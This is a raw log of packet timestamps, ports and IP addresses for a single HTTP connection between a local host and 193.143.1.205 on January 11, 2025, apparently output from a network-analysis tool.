Jan 11, 2025 01:54:02.362771988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.362782001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.362795115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.362807035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.362814903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.362818956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.362831116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.362847090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.362875938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.363455057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.363466024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.363477945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.363488913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.363501072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.363512039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.363519907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.363524914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.363535881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.363548040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.363552094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.363559961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.363571882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.363574982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.363584995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.363598108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.363600969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.363641024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.364422083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.364439964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.364454031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.364464998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.364471912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.364476919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.364489079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.364500999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.364502907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.364511967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.364523888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.364535093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.364536047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.364547968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.364556074 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.364561081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.364573956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.364576101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.364595890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.364610910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.365346909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.365359068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.365370035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.365381956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.365392923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.365394115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.365405083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.365417957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.365422964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.365428925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.365447044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.365529060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.366875887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.368449926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.368463039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.368473053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.368503094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.371298075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.371309042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.371325016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.371352911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.371356010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.371367931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.371371984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.371378899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.371416092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.372030973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.376825094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.406466007 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.406565905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.409310102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.409322977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.409332991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.409387112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.447694063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.447706938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.447724104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.447735071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.447750092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.447774887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.447871923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.447887897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.447900057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.447910070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.447911978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.447921991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.447932005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.447940111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.447945118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.447956085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.447967052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.447976112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.447977066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.448013067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.448013067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.485622883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.485637903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.485647917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.485771894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.486743927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.486754894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.486766100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.486784935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.486797094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.486808062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.486814976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.486820936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.486828089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.486888885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.486896038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.486907959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.486921072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487005949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487023115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487035036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487047911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487059116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487070084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487083912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487098932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487111092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487163067 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.487212896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487225056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487242937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487252951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487256050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.487265110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487277031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487287045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487298965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487318993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487330914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487343073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487510920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487523079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487534046 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487545013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487555981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487557888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.487557888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.487566948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487580061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487590075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487596035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.487603903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487616062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.487629890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.487662077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.488146067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.488157988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.488169909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.488193035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.488200903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.488204002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.488215923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.488226891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.488248110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.488260031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.488264084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.488266945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.488272905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.488277912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.488359928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.491816044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.491827965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.491839886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.491852045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.491863966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.491869926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.491874933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.491885900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.491900921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.491924047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.491925001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.491938114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.491947889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.491960049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.491980076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.491985083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.491990089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.491991997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.492002010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.492012978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.492024899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.492036104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.492037058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.492048025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.492058992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.492070913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.492079973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.492094040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.492120028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.492259979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.492273092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.492285013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.492300034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.492336988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.492357969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.492369890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.492382050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.492393017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.492404938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.492414951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.492422104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.492470026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.493303061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.493314981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.493325949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.493335962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.493349075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.493360043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.493371010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.493379116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.493417978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.493630886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.535401106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.535412073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.535517931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.535559893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.535615921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.535696030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.535706997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.535717964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.535728931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.535739899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.535751104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.535762072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.535763979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.535818100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.535850048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.535861969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.535872936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.535904884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.535923958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.536010981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.536025047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.536036968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.536046982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.536058903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.536068916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.536079884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.536079884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.536137104 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.536261082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.536319017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.545166016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.572705984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.572721004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.572755098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.572772980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.572783947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.572797060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.572808981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.572819948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.572830915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.572841883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.572844982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.572854042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.572865009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.572879076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.572891951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.572907925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.572916031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.572932959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.572937012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.572946072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.572956085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.572967052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.572990894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.573015928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573026896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573072910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.573271036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573282003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573288918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573297977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573309898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573322058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573335886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.573359013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.573400974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573412895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573425055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573442936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573452950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.573456049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573467016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573476076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.573478937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573496103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573508024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573518038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.573518991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573530912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573542118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573561907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.573589087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.573616028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573626995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573638916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573651075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573659897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.573662996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573676109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573683977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.573729038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.573736906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573748112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573759079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573771000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573781967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573791981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573796988 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.573820114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573822975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.573832035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.573878050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.574039936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574052095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574063063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574074030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574085951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574093103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.574101925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574112892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574122906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.574125051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574136019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574147940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574179888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:54:02.574239016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:54:02.574249983 CET	80	49730	193.143.1.205	192.168.2.4
